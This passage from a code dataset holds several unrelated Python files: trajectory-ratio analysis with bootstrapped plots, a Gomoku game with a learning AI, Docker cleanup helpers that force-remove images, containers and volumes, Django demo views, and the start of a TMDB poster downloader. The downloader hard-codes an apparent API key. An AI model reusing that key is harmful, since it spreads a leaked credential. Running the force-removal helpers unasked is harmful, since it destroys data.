large_mean_vis.append(large_div_sham[div][::2].mean())\n large_mean_invis.append(large_div_sham[div][1::2].mean())\n large_median_vis.append(np.median(large_div_sham[div][::2]))\n large_median_invis.append(np.median(large_div_sham[div][1::2]))\n vis = [item for sublist in large_div_sham for item in sublist[::2]] #cool list feature - flatening lists\n invis = [item for sublist in large_div_sham for item in sublist[1::2]]\n\n plt.hist(vis,alpha=.5,color='g', edgecolor='seagreen',label='visible')\n plt.hist(invis,alpha=.5,color='lightgrey', edgecolor='silver',label='invisible')\n\n\n\n plt.axvline(np.mean(np.asarray(large_mean_vis)), color='g', linestyle='dashed', linewidth=1,label='mean_vis')\n plt.axvline(np.mean(np.asarray(large_mean_invis)), color='black', linestyle='dashed', linewidth=1,label='mean_invis')\n plt.axvline(np.median(np.asarray(large_median_vis)), color='g', linestyle='solid', linewidth=1,label='median_vis')\n plt.axvline(np.median(np.asarray(large_median_invis)), color='black', linestyle='solid', linewidth=1,label='median_invis')\n plt.xlabel(\"ratio short/long \")\n plt.legend()\n print (seconds_back)\n plt.title('resultant lenght ratios of visible and invisible Group_sham %s sec'% seconds_back)\n plt.savefig('%sresultant_lenght_ratios_%s_visible_invisible_all_sham.png' %(figures,seconds_back), dpi = 200) \n plt.show()\nhistogram_ratio_all_sham (Day_list, Beacon_list , 3 )\n\n\n# ### 9. Bootstrapping \n\n# In[231]:\n\n\ndef histogram_ratio_all_boot (list_of_days,beacon,seconds_back):\n\n large_div_sham = resultant_lenght_vis_invis_all_sham (list_of_days,beacon,seconds_back)\n\n\n large_mean_vis=[]\n large_median_vis=[]\n large_mean_invis=[]\n large_median_invis=[]\n\n for div in range(len(large_div_sham)):\n\n #within group stats - not pooled \n large_mean_vis.append(large_div_sham[div][::2].mean())\n large_mean_invis.append(large_div_sham[div][1::2].mean())\n large_median_vis.append(np.median(large_div_sham[div][::2]))\n large_median_invis.append(np.median(large_div_sham[div][1::2]))\n vis = [item for sublist in large_div_sham for item in sublist[::2]] #cool list feature - flatening lists\n invis = [item for sublist in large_div_sham for item in sublist[1::2]]\n\n #plt.hist(vis,alpha=.5,color='g', edgecolor='seagreen',label='visible')\n #plt.hist(invis,alpha=.5,color='lightgrey', edgecolor='silver',label='invisible')\n\n #plt.legend()\n\n mean_vis= np.mean(np.asarray(large_mean_vis)), \n mean_invis = np.mean(np.asarray(large_mean_invis)), \n median_vis = np.median(np.asarray(large_median_vis)), \n median_invis = np.median(np.asarray(large_median_invis)),\n #print (seconds_back)\n return [mean_vis,mean_invis, median_vis,median_invis]\n \nhistogram_ratio_all_boot (Day_list, Beacon_list , 3 )\n\n\n# ## Bootstrap - calculate means and sampled data over X times also for whatever times \n\n# In[212]:\n\n\nave=[]\nfor i in range (10):\n ave.append(histogram_ratio_all_boot (Day_list, Beacon_list , 2 ))\n \n\n\n# In[232]:\n\n\ndef strapped_means (ave):\n ave_all = []\n mean_vis_boot =[]\n mean_invis_boot=[]\n median_vis_boot=[]\n median_invis_boot=[] \n bins=25\n for i in range(len(ave)):\n mean_vis_boot.append(ave[i][0])\n mean_invis_boot.append(ave[i][1])\n median_vis_boot.append(ave[i][2])\n median_invis_boot.append(ave[i][3])\n \n\n return [np.mean(mean_vis_boot), np.mean(mean_invis_boot), np.median(np.asarray(median_vis_boot)),np.median(median_invis_boot)]\n\n\n# In[233]:\n\n\nave_all_boot= strapped_means(ave)\n\n\n# In[234]:\n\n\nave_all_boot\n\n\n\n# ## Function to generate stats for given seconds... \n# \n\n# In[236]:\n\n\ndef get_boot_data(seconds_back,boot_reps):\n histogram_ratio_all_boot (Day_list, Beacon_list , seconds_back )\n ave=[]\n for i in range (boot_reps):\n ave.append(histogram_ratio_all_boot (Day_list, Beacon_list , 2 ))\n ave_all_boot= strapped_means(ave)\n return ave_all_boot\n \nget_boot_data(3,10)\n\n\n# ### statistics on ratios of the original correctly samples data\n\n# In[237]:\n\n\ndef histogram_ratio_all_nums (list_of_days,beacon,seconds_back):\n\n large_div = resultant_lenght_vis_invis_all (list_of_days,beacon,seconds_back)\n\n\n large_mean_vis=[]\n large_median_vis=[]\n large_mean_invis=[]\n large_median_invis=[]\n\n for div in range(len(large_div)):\n\n #within group stats - not pooled \n large_mean_vis.append(large_div[div][::2].mean())\n large_mean_invis.append(large_div[div][1::2].mean())\n large_median_vis.append(np.median(large_div[div][::2]))\n large_median_invis.append(np.median(large_div[div][1::2]))\n vis = [item for sublist in large_div for item in sublist[::2]] #cool list feature - flatening lists\n invis = [item for sublist in large_div for item in sublist[1::2]]\n\n #plt.hist(vis,alpha=.5,color='g', edgecolor='seagreen',label='visible')\n #plt.hist(invis,alpha=.5,color='lightgrey', edgecolor='silver',label='invisible')\n\n #plt.legend()\n\n mean_vis= np.mean(np.asarray(large_mean_vis)), \n mean_invis = np.mean(np.asarray(large_mean_invis)), \n median_vis = np.median(np.asarray(large_median_vis)), \n median_invis = np.median(np.asarray(large_median_invis)),\n #print (seconds_back)\n return [mean_vis,mean_invis, median_vis,median_invis]\n \nave_all = histogram_ratio_all_nums (Day_list, Beacon_list , 3 )\n\n\n# In[238]:\n\n\nave_all\n\n\n# ## 10. Graph together with bootstrapped data: \n\n# In[241]:\n\n\ndef histogram_ratio_with_sham (list_of_days,beacon,seconds_back,boot_reps):\n\n large_div = resultant_lenght_vis_invis_all (list_of_days,beacon,seconds_back)\n\n\n large_mean_vis=[]\n large_median_vis=[]\n large_mean_invis=[]\n large_median_invis=[]\n \n ave_all_boot = get_boot_data(seconds_back,boot_reps)\n \n for div in range(len(large_div)):\n\n #within group stats - not pooled \n large_mean_vis.append(large_div[div][::2].mean())\n large_mean_invis.append(large_div[div][1::2].mean())\n large_median_vis.append(np.median(large_div[div][::2]))\n large_median_invis.append(np.median(large_div[div][1::2]))\n vis = [item for sublist in large_div for item in sublist[::2]] #cool list feature - flatening lists\n invis = [item for sublist in large_div for item in sublist[1::2]]\n print(ranksums(vis, invis))\n plt.hist(vis,alpha=.5,color='g', edgecolor='seagreen',label='visible')\n plt.hist(invis,alpha=.5,color='lightgrey', edgecolor='silver',label='invisible')\n plt.axvline((np.median(np.asarray(large_median_vis))-np.std(vis)), color='blue', linestyle='dashdot', linewidth=1,label='std_vis')\n plt.axvline((np.median(np.asarray(large_median_invis))-np.std(invis)), color='orange', linestyle='dashdot', linewidth=1,label='std_invis')\n plt.axvline(ave_all_boot[2], color='purple', linestyle='dashed', linewidth=1,label='sham_med_vis')\n plt.axvline(ave_all_boot[3], color='pink', linestyle='dashed', linewidth=1,label='sham_med_invis')\n #plt.axvline(np.mean(np.asarray(large_mean_vis)), color='g', linestyle='dashed', linewidth=1)\n #plt.axvline(np.mean(np.asarray(large_mean_invis)), color='black', linestyle='dashed', linewidth=1)\n plt.axvline(np.median(np.asarray(large_median_vis)), color='g', linestyle='solid', linewidth=1,label='med_vis')\n plt.axvline(np.median(np.asarray(large_median_invis)), color='black', linestyle='solid', linewidth=1,label='med_invis')\n plt.legend()\n plt.xlabel(\"ratio short/long \")\n print (seconds_back)\n plt.title('resultant lenght ratios of visible and invisible Group_with_sham %s sec'% seconds_back)\n plt.savefig('%sresultant_lenght_ratios_%s_visible_invisible_all_with_sham.png' %(figures,seconds_back), dpi = 200) \n plt.show()\nhistogram_ratio_with_sham (Day_list, Beacon_list , 3,10 )\n\n\n# In[243]:\n\n\nhistogram_ratio_with_sham (Day_list, Beacon_list , 2,10 )\n\n\n# In[189]:\n\n\nhistogram_ratio_with_sham (Day_list, Beacon_list , 1,20 )\n\n\n# In[190]:\n\n\nhistogram_ratio_with_sham (Day_list, Beacon_list , 4,20 )\n\n\n# ## Conclusion: \n# Computign the ratio differences showed no significant differecnes between the lenght ratios of resultant lenght between visible and invisble beacon condition. There was a slight preference at 2 and 3 seconds before the beacon, and when calculatign sham it showed that those ratios are onaverage much smaller than the given ratio from the trials, but not significatonly so. \n\n# #### Note, need to always subtract STD from the mean \n# \n\n# ## 11. Sliding median window. \n# 1. calculate median and meand in an array for .1 sec each \n# 2. calculate simliary for sham condition - 20 repetitions or so \n# 3. Plot where x axis are the time points and y woudl be medians of ratios - 4 lines vis, and invis for sham and normal \n# \n# \n\n# In[268]:\n\n\nnp.seterr('warn')\nrun_ave=[]\nfor i in range(1,200,1):\n run_ave.append(histogram_ratio_all_nums (Day_list, Beacon_list ,i/10 ))\n\n\n# In[269]:\n\n\nrun_ave_sham=[]\nfor i in range(1,200,1):\n run_ave_sham.append(histogram_ratio_all_boot (Day_list, Beacon_list ,i/10 ))\n\n\n# ### [mean_vis,mean_invis, median_vis,median_invis]\n\n# In[272]:\n\n\nsns.set()\nr= range(1,200,1)\n\n\n# In[273]:\n\n\nr1=[]\nmedians_vis=[]\nmedians_invis=[]\nmedians_vis_sham=[]\nmedians_invis_sham=[]\nfor i in range (198):\n r1.append(r[i]/10)\n medians_vis.append(run_ave[i][2])\n medians_invis.append(run_ave[i][3])\n medians_vis_sham.append(run_ave_sham[i][2])\n medians_invis_sham.append(run_ave_sham[i][3])\n \n\nplt.plot(r1,medians_vis,label='median_vis')\nplt.plot(r1,medians_invis, label='median_vis')\nplt.plot(r1,medians_vis_sham, label='sham_median_vis')\nplt.plot(r1,medians_invis_sham, label='sham_median_vis')\nplt.xlabel('time(s)')\nplt.ylabel('resultant lenght ratio medians')\nplt.title('resultant lenght ratios running medians with sham')\nplt.legend()\nplt.savefig('%sresultant_lenght_ratios_running_medians%s.png' %(figures,i), dpi = 200) \n\n\n# In[275]:\n\n\nr1=[]\nmeans_vis=[]\nmeans_invis=[]\nmeans_vis_sham=[]\nmeans_invis_sham=[]\nfor i in range (199):\n r1.append(r[i]/10)\n means_vis.append(run_ave[i][0])\n means_invis.append(run_ave[i][1])\n means_vis_sham.append(run_ave_sham[i][0])\n means_invis_sham.append(run_ave_sham[i][1])\n \n\nplt.plot(r1,means_vis,label='mean_vis')\nplt.plot(r1,means_invis,label='mean_invis')\nplt.plot(r1,means_vis_sham,label='sham_mean_invis')\nplt.plot(r1,means_invis_sham,label='sham_mean_invis')\nplt.xlabel('time(s)')\nplt.ylabel('resultant lenght ratio means')\nplt.title('resultant lenght ratios running means with sham')\nplt.legend()\nplt.savefig('%sresultant_lenght_ratios_running_means%s.png' %(figures,i), dpi = 200) \n\n\n# #### DEBUGGING - Problems \n# 1. Trajecotry check - maybe taking 5 seconds instead of 3 as I think due to the pyhton program which has some frame rate at \n# 50hz not always at 100 \n# 2. for some reason indexign spits out at 2.2 due to the wrong shape (3,221) where it somehow rounds and takes an extra index. - try to fix below, but still does not work - Kind of fixed manually \n# 3. Gettign NAN on the bootstrap data - due to division by zero? - maybe need ot normalize time values due to the didison of small numbers where numpy fails \n# \n\n# In[198]:\n\n\ntime_list=[]\nx_list=[]\ntime_list.append(position_data[0][(int(418-(2.2*100))):int(417)])\nx_list.append(position_data[1][int(418-(2.2*100)):int(418)])\n\n\nprint(len(time_list[0]))\nprint(len(x_list[0]))\nprint ((int(418-(2.2*100)-418))*-1)\nlen(time_list[0]) == (int(418-(2.2*100)-418))*-1\n\n\n# In[209]:\n\n\ndef position_before_beacon_trigger_beacon_array(seconds_back, beacon_data, position_data):\n \"\"\"Take beacon data and returns XY and Time array defined in seconds before beacon \"\"\"\n x_list=[]\n y_list=[]\n time_list=[] \n num=0\n beacon_travel2=[]\n index, enum = get_index(beacon_data, position_data)\n for i in index:\n if i <= seconds_back*100:\n i = int(seconds_back*100+1)\n print(\"small\")\n x_list.append(position_data[1][int(i-(seconds_back*100)):int(i)])\n y_list.append(position_data[3][int(i-(seconds_back*100)):int(i)])\n time_list.append((position_data[0][int(i-(seconds_back*100)):int(i)]-position_data[0][0]))\n if (len(time_list[0]) < (int(i-(seconds_back*100)-i))*-1):\n print('érror')\n #print(len(time_list[0]))\n #print(i)\n time_list[0]= time_list[0][0:int((seconds_back*100))]\n y_list[0]= y_list[0][0:int((seconds_back*100))]\n x_list[0]= x_list[0][0:int((seconds_back*100))]\n #print(i)\n #if (len(time_list[0]) != (int(i-(seconds_back*100)-i))*-1):\n # print('big')\n # time_list[0].append(time_list[0][-1]) #np.asarray(time_list[0][0:int((seconds_back*100))]).mean\n \n #print(len(time_list[0]))\n #print(len(x_list[0]))\n k= np.asarray((time_list[0],x_list[0],y_list[0],))\n #print(k.shape)\n num=num+1\n beacon_travel2.append(k)\n x_list=[]\n y_list=[]\n time_list=[]\n return np.asarray(beacon_travel2)\nbeacon_travel= position_before_beacon_trigger_beacon_array(2.2,beacon_data, position_data)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Fabalinks/Multiple_trial_analysis","sub_path":"Code/code in PDF/20200707_FS_Beacon_trajectories_MRL-nump.py","file_name":"20200707_FS_Beacon_trajectories_MRL-nump.py","file_ext":"py","file_size_in_byte":32397,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"36440778348","text":"import os,msvcrt\r\nimport pickle\r\nimport atexit\r\nimport random\r\nimport copy\r\n\r\n#□■▣◆◇◈\r\n\r\n\r\n#####\r\nclass Play:\r\n def __init__(self):\r\n self.map_data=[[0 for i in range(27)] for j in range(4)]+[[0,0,0,0]+[9 for i in range(19)]+[0,0,0,0] for j in range(19)]+[[0 for i in range(27)] for j in range(4)]\r\n self.map_shape=[['┏ ']+['┳ ' for i in range(17)]+['┓']]+[['┣ ']+['╋ ' for i in range(17)]+['┫'] for j in range(17)]+[['┗ ']+['┻ ' for i in range(17)]+['┛']]\r\n self.player_color=1\r\n self.play_data=[]\r\n\r\n def judge(self,pos,color):\r\n win=True\r\n for x in range(-1,2):\r\n for y in range(-1,2):\r\n if x!=0 or y!=0:\r\n for num in range(1,5):\r\n if self.map_data[pos[1]+4+num*y][pos[0]+4+num*x]!=color:\r\n win=False\r\n if win:\r\n return True\r\n win=True\r\n\r\n for List in ([1,-1],[1,0],[1,1],[0,1]):\r\n data=[]\r\n for num in range(-4,5):\r\n data.append(play.map_data[pos[1]+4+List[1]*num][pos[0]+4+List[0]*num])\r\n weight=[0]+[data[num]**2-1 for num in range(9)]+[0]\r\n\r\n for num in range(9):\r\n if weight[num+1]>0:\r\n add=0\r\n sub=0\r\n for num2 in [-1,1]:\r\n run=True\r\n num1=num2\r\n while run:\r\n num3=num-num1\r\n if num3<0 or num3>8:\r\n break\r\n if data[num3]==color:\r\n add+=1\r\n num1+=num2\r\n else:\r\n if data[num3]==color*-1:\r\n sub-=1\r\n run=False\r\n weight[num+1]+=add+sub-80\r\n\r\n for num in range(-4,5):\r\n try:\r\n ai.weight[pos[1]+List[1]*num][pos[0]+List[0]*num]=weight[num+5]\r\n except:\r\n pass\r\n\r\n def choose_color(self):\r\n self.player_color=random.choice([-1,1])\r\n\r\n def choose_pos(self):\r\n pos=[-4,-4]\r\n while self.map_data[pos[1]+4][pos[0]+4]!=9:\r\n pos=list(map(int,input().split(' ')))\r\n self.map_data[pos[1]+4][pos[0]+4]=self.player_color\r\n self.map_shape[pos[1]][pos[0]]=' ■□'[self.player_color]\r\n ai.weight[pos[1]][pos[0]]=-99\r\n self.play_data.append(pos)\r\n return pos\r\n\r\n def computer_pos(self):\r\n pos=ai.algorithm()\r\n self.map_data[pos[1]+4][pos[0]+4]=self.player_color*-1\r\n self.map_shape[pos[1]][pos[0]]=' ■□'[self.player_color*-1]\r\n ai.weight[pos[1]][pos[0]]=-99\r\n self.play_data.append(pos)\r\n return pos\r\n\r\n def play(self):\r\n run=True\r\n self.choose_color()\r\n if self.player_color==1:\r\n list_print(self.map_shape)#\r\n self.judge(self.choose_pos(),1)\r\n while run:\r\n if len(self.play_data)==361:\r\n return 0\r\n else:\r\n list_print(self.map_shape)#\r\n if self.judge(self.computer_pos(),self.player_color*-1):\r\n return -1*self.player_color\r\n list_print(self.map_shape)#\r\n if self.judge(self.choose_pos(),self.player_color):\r\n return 1*self.player_color\r\n\r\nclass Ai:\r\n def __init__(self):\r\n with open('data.pickle','rb') as file:\r\n self.winning_data=pickle.load(file)\r\n self.weight=[[0 for i in range(19)] for j in range(19)]\r\n\r\n def heavy(self,pos,color):\r\n for List in ([1,-1],[1,0],[1,1],[0,1]):\r\n data=[]\r\n for num in range(-4,5):\r\n data.append(play.map_data[pos[1]+4+List[1]*num][pos[0]+4+List[0]*num])\r\n weight=[0]+[data[num]**2-1 for num in range(9)]+[0]\r\n\r\n for num in range(9):\r\n if weight[num+1]>0:\r\n add=0\r\n sub=0\r\n for num2 in [-1,1]:\r\n run=True\r\n num1=num2\r\n while run:\r\n num3=num-num1\r\n if num3<0 or num3>8:\r\n break\r\n if data[num3]==color:\r\n add+=1\r\n num1+=num2\r\n else:\r\n if data[num3]==color*-1:\r\n sub-=1\r\n run=False\r\n weight[num+1]+=add+sub-80\r\n\r\n for num in range(-4,5):\r\n ai.weight[pos[1]+List[1]*num][pos[0]+List[0]*num]=weight[num+5]\r\n \r\n def algorithm(self):\r\n num=0\r\n data=[]\r\n for row in self.weight:\r\n if max(row)>num:\r\n num=max(row)\r\n for y in range(19):\r\n for x,value in enumerate(self.weight[y]):\r\n if value==num:\r\n data.append([x,y])\r\n return random.choice(data)\r\n \r\n\r\n def treeing(self,List,score):\r\n data=self.winning_data\r\n List=copy.deepcopy(List)\r\n for num in range(len(List)-1,0,-1):\r\n List[num]=[List[num][0]-List[num-1][0],List[num][1]-List[num-1][1]]\r\n List[0]=[0,0]\r\n for flip in range(2):\r\n for turn in [[1,-1],[-1,1],[1,-1],[1,1]]: \r\n data=self.winning_data\r\n for num in range(1,len(List)):\r\n run=True\r\n for leaf in data['next']:\r\n if List[num]==leaf['pos']:\r\n run=False\r\n data=leaf\r\n leaf['win'][0]+=1\r\n leaf['win'][score*(-1)**num]+=1\r\n break\r\n if run:\r\n data['next'].append({'win':[1,0,0],'pos':List[num],'next':[]})\r\n data=data['next'][-1]\r\n data['win'][score*(-1)**num]+=1\r\n for num in range(1,len(List)):\r\n List[num]=[List[num][0]*turn[0],List[num][1]*turn[1]]\r\n if not flip:\r\n for pos in List:\r\n pos.reverse()\r\n\r\n def save(self):\r\n with open('data.pickle','wb') as f:\r\n pickle.dump(self.winning_data,f)\r\n\r\n def clear(self):\r\n self.winning_data={'pos':[0,0],'next':[]}\r\n with open('data.pickle','wb') as f:\r\n pickle.dump(self.winning_data,f)\r\n\r\ndef list_print(List):\r\n os.system('cls')\r\n data=''\r\n for row in List:\r\n data+=''.join(row)+'\\n'\r\n print(data)\r\n\r\n#####\r\n \r\nplay=Play()\r\nai=Ai()\r\n\r\n#atexit.register(ai.save)\r\n\r\nprint(ai.winning_data[0])\r\ninput()\r\n\r\nai.treeing(play.play_data,play.play())\r\nlist_print(play.map_shape)\r\nprint(ai.winning_data)\r\n\r\ninput()\r\n","repo_name":"userkim7/ai-dhahr","sub_path":"dhahr.py","file_name":"dhahr.py","file_ext":"py","file_size_in_byte":7168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71149879281","text":"import datetime\nimport itertools\nimport subprocess\nimport sys\n\nfrom pathlib import Path\nfrom collections import namedtuple\n\n# from: https://chrisalbon.com/python/data_wrangling/break_list_into_chunks_of_equal_size/\ndef chunks(l, n):\n # For item i in a range that is a length of l,\n for i in range(0, len(l), n):\n # Create an index range for l of n items:\n yield l[i : i + n]\n\n\n# adapted from: https://gist.github.com/smajda/4e2c80c7b5e199c3663c\ndef pad_list(items, pad_to=10, pad_with=''):\n \"If items is shorter than pad_to, return a new list appending pad_with up to pad_to\"\n if len(items) >= pad_to:\n return items\n return items + [pad_with for i in range(0, pad_to - len(items))]\n\n\ndef namedtuplify(headers, rows):\n \"\"\"\n Takes a list of headers and a list of lists that are rows\n and returns a list of namedtuples.\n - removes any whitespaces in column names in headers\n - pads any rows that aren't long enough with empty strings\n \"\"\"\n max_cols = len(headers)\n Row = namedtuple('Row', [col_name.replace(' ', '') for col_name in headers])\n\n rows = list(chunks(rows, max_cols))\n rows = [Row(*pad_list(row, pad_to=max_cols)) for row in rows]\n return rows\n\n\ndef get_docker_images():\n output = subprocess.check_output(['docker', 'images']).decode('utf-8').split(' ')\n output = [x.strip().splitlines() for x in [x for x in output if x]]\n output = list(itertools.chain.from_iterable(output))\n headers, rows = output[:5], output[5:]\n return namedtuplify(headers, rows)\n\n\ndef web_images(rows=None):\n \"List of image ids that are not tagged\"\n rows = rows or get_docker_images()\n return [row.IMAGEID for row in rows if 'web' in row.REPOSITORY]\n\n\ndef db_images(rows=None):\n \"List of image ids that are not tagged\"\n rows = rows or get_docker_images()\n return [row.IMAGEID for row in rows if 'db' in row.REPOSITORY]\n\n\ndef proxy_images(rows=None):\n \"List of image ids that are not tagged\"\n rows = rows or get_docker_images()\n return [\n row.IMAGEID\n for row in rows\n if 'nginx' in row.REPOSITORY or 'proxy' in row.REPOSITORY\n ]\n\n\ndef get_docker_containers():\n output = subprocess.check_output(['docker', 'ps', '-a']).decode('utf-8').split('\\n')\n output = [[x.strip() for x in row.split(' ') if x] for row in output]\n output = list(itertools.chain.from_iterable(output))\n\n headers, rows = output[:7], output[7:]\n return namedtuplify(headers, rows)\n\n\n# def web_containers(rows=None):\n# rows = rows or get_docker_containers()\n# return [row.CONTAINERID for row in rows if 'web' in row.NAMES or 'web' in row.IMAGE]\n\n# def db_containers(rows=None):\n# rows = rows or get_docker_containers()\n# print('db rows')\n# print(rows)\n# db_containers = [row.CONTAINERID for row in rows if 'db' in row.NAMES or 'postgres' in row.IMAGE]\n# return db_containers\n\n# def proxy_containers(rows=None):\n# rows = rows or get_docker_containers()\n# return [row.CONTAINERID for row in rows if 'nginx' in row.NAMES or 'nginx' in row.IMAGE]\n\n\ndef remove_images(images):\n for image_id in images:\n try:\n output = subprocess.check_output(['docker', 'rmi', image_id, '--force'])\n except subprocess.CalledProcessError as e:\n print(e)\n sys.exit()\n print(output)\n\n\ndef remove_containers(containers):\n for container_id in containers:\n try:\n output = subprocess.check_output(['docker', 'rm', container_id, '--force'])\n except subprocess.CalledProcessError as e:\n print(e)\n sys.exit()\n print(output)\n\n\ndef get_docker_volumes():\n output = (\n subprocess.check_output(['docker', 'volume', 'ls']).decode('utf-8').split(' ')\n )\n output = [x.strip().splitlines() for x in [x for x in output if x]]\n output = list(itertools.chain.from_iterable(output))\n headers, rows = output[:2], output[2:]\n return namedtuplify(headers, rows)\n\n\ndef web_volumes(rows=None):\n rows = rows or get_docker_volumes()\n return [row.VOLUMENAME for row in rows if 'web' in row.VOLUMENAME]\n\n\ndef db_volumes(rows=None):\n rows = rows or get_docker_volumes()\n return [\n row.VOLUMENAME\n for row in rows\n if 'db' in row.VOLUMENAME or 'postgres' in row.VOLUMENAME\n ]\n\n\ndef remove_volumes(volumes):\n for volume in volumes:\n try:\n output = subprocess.check_output(\n ['docker', 'volume', 'rm', volume, '--force']\n )\n except subprocess.CalledProcessError as e:\n print(e)\n sys.exit()\n print(output)\n\n\n# def web_containers():\n# web_ids = subprocess.check_output(['docker','ps','-aq','--filter','name=web']).decode('utf-8').strip().split('\\n')\n# return [x for x in web_ids if x]\n\n# def db_containers():\n# db_ids = subprocess.check_output(['docker','ps','-aq','--filter','name=db']).decode('utf-8').strip().split('\\n')\n# return [x for x in db_ids if x]\n\n# def proxy_containers():\n# proxy_ids = subprocess.check_output(['docker','ps','-aq','--filter','name=nginx']).decode('utf-8').strip().split('\\n')\n# return [x for x in proxy_ids if x]\n\n# def test_containers(browser):\n# test_ids = subprocess.check_output(['docker', 'ps', '-aq', '--filter', f'name={browser}']).decode('utf-8').strip().split('\\n')\n# return [x for x in test_ids if x]\n\n\ndef get_containers(name):\n container_ids = (\n subprocess.check_output(['docker', 'ps', '-aq', '--filter', f'name={name}'])\n .decode('utf-8')\n .strip()\n .split('\\n')\n )\n return [x for x in container_ids if x]\n\n\ndef test_image(browser='chrome'):\n image = (\n subprocess.check_output(\n ['docker', 'images', 'selenium/node-' + browser + '-debug:latest', '-aq']\n )\n .decode('utf-8')\n .strip()\n )\n return image\n\n\ndef save_container(container, container_file_name):\n _ = subprocess.run(['docker', 'export', '-o', container_file_name, container])\n\n\ndef load_container(container_file_name):\n _ = subprocess.run(['docker', 'import', container_file_name])\n\n\ndef save_image(image, image_file_name):\n _ = subprocess.run(['docker', 'save', '-o', image_file_name, image])\n\n\ndef load_image(image_file_name):\n _ = subprocess.run(['docker', 'load', '-i', image_file_name])\n\n\ndef save_container_image(container, image_name=None):\n # if name of image is not provided, use the container name\n # where the container names are [dev/prod]_[db/web/nginx]_1\n # so this selects only [dev/prod]_[db/web/nginx]\n if image_name is None:\n image_name = f\"{container[:-2]}:latest\"\n _ = subprocess.run(['docker', 'commit', container, image_name])\n image_file_name = Path('docker/images/' + image_name + '.tar')\n save_image(image_name, image_file_name)\n\n\ndef build(compose_file, project_name='dev'):\n _ = subprocess.run(\n ['docker-compose', '-f', compose_file, '-p', project_name, 'up', '-d']\n )\n\n\ndef stop_container(container):\n if isinstance(container, list):\n for container in container:\n _ = subprocess.run(['docker', 'stop', container])\n else:\n _ = subprocess.run(['docker', 'stop', container])\n\n\ndef remove_networks(network):\n if isinstance(network, list):\n for network in network:\n _ = subprocess.run(['docker', 'network', 'rm', network])\n else:\n _ = subprocess.run(['docker', 'network', 'rm', network])\n\n\ndef stop(compose_file, project_name='dev'):\n _ = subprocess.run(\n ['docker-compose', '-f', compose_file, '-p', project_name, 'stop']\n )\n","repo_name":"cisagov/assessment-reporting-engine","sub_path":"docker/docker_api.py","file_name":"docker_api.py","file_ext":"py","file_size_in_byte":7636,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"75"} +{"seq_id":"34750957932","text":"# Create your views here.\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom datetime import datetime\nfrom myapp.models import Dreamreal\n\ndef hello(request):\n\ttext = \"hello world!\"\n\treturn HttpResponse(text)\n\ndef morning(request):\n\treturn render(request, \"morning.html\", {})\n\ndef param(request, param):\n\ttext = \"Param is %s \"%param\n\treturn HttpResponse(text)\n\ndef date_display(request, month, year):\n\ttext = \"The date is %s/%s\"%(month, year)\n\treturn HttpResponse(text)\n\ndef today(request):\n\tdate = datetime.now().date()\n\tdaysOfWeek = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']\n\treturn render(request, \"today.html\", {\"today\": date, \"daysOfWeek\": daysOfWeek})\n\n\ndef crudops(request):\n #Creating an entry\n \n dreamreal = Dreamreal(\n website = \"www.polo.com\", mail = \"sorex@polo.com\", \n name = \"sorex\", phonenumber = \"002376970\"\n )\n \n dreamreal.save()\n \n #Read ALL entries\n objects = Dreamreal.objects.all()\n res ='Printing all Dreamreal entries in the DB :
'\n \n for elt in objects:\n res += elt.name+\"
\"\n \n #Read a specific entry:\n sorex = Dreamreal.objects.get(name = \"sorex\")\n res += 'Printing One entry
'\n res += sorex.name\n \n #Delete an entry\n res += '
Deleting an entry
'\n sorex.delete()\n \n #Update\n dreamreal = Dreamreal(\n website = \"www.polo.com\", mail = \"sorex@polo.com\", \n name = \"sorex\", phonenumber = \"002376970\"\n )\n \n dreamreal.save()\n res += 'Updating entry
'\n \n dreamreal = Dreamreal.objects.get(name = 'sorex')\n dreamreal.name = 'thierry'\n dreamreal.save()\n \n return HttpResponse(res)\n\n","repo_name":"keepthinker/multiple-programing-languages","sub_path":"python-example/django-example/myproject/myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2021187324","text":"import wget\nimport pandas as pd\nimport urllib, json\nfrom tqdm.auto import tqdm\nimport os\n\n#https://api.themoviedb.org/3/find/tt0458290?api_key=38822594572ba49838eb67eec9246d29&external_source=imdb_id\n\n\n\ndef genreIdToStr( id):\n if(id == 28):\n return 'Action'\n elif(id == 12):\n return 'Adventure'\n elif(id == 16):\n return 'Animation'\n elif(id == 35):\n return 'Comedy'\n elif(id == 80):\n return 'Crime'\n elif(id == 99):\n return 'Documentary'\n elif(id == 18):\n return 'Drama'\n elif(id == 10751):\n return 'Family'\n elif(id == 14):\n return 'Fantasy'\n elif(id == 36):\n return 'History'\n elif(id == 27):\n return 'Horror'\n elif(id == 10402):\n return 'Music'\n elif(id == 9648):\n return 'Mystery'\n elif(id == 10749):\n return 'Romance'\n elif(id == 878):\n return 'Science Fiction'\n elif(id == 10770):\n return 'TV Movie'\n elif(id == 53):\n return 'Thriller'\n elif(id == 10752):\n return 'War'\n elif(id == 37):\n return 'Western'\n else:\n return 'N/A'\n\ndef UpdateDataSet():\n movie_id_arr = []\n movie_title_arr = []\n Action = []\n Adventure = []\n Animation = []\n Biography = []\n Comedy = []\n Crime = []\n Documentary = []\n Drama = []\n Family = []\n Fantasy = []\n History = []\n Horror = []\n Music = []\n Musical = []\n Mystery = []\n NA = []\n News = []\n RealityTV = []\n Romance = []\n SciFi = []\n Short = []\n Sport = []\n Thriller = []\n War = []\n Western = []\n\n\n imgFolderCacheName = \"PosterCache\"\n if not os.path.exists(imgFolderCacheName):\n os.makedirs(imgFolderCacheName)\n\n imgFolderCacheName = os.getcwd()+\"\\\\\" + imgFolderCacheName\n # imgFolderCacheName = imgFolderCacheName.replace(\"\\\\\", \"/\")\n basePosterURL = \"https://image.tmdb.org/t/p/w370_and_h556_bestv2\"\n ApiKey = \"38822594572ba49838eb67eec9246d29\"\n\n baseUrl = \"https://api.themoviedb.org/3/movie/top_rated?api_key=38822594572ba49838eb67eec9246d29&page=\"\n region = \"&language=en-US®ion=US\"\n for page in tqdm(range(1,479)):\n url = baseUrl + str(page) + region\n response = urllib.request.urlopen(url)\n status_code = response.getcode()\n if (status_code == 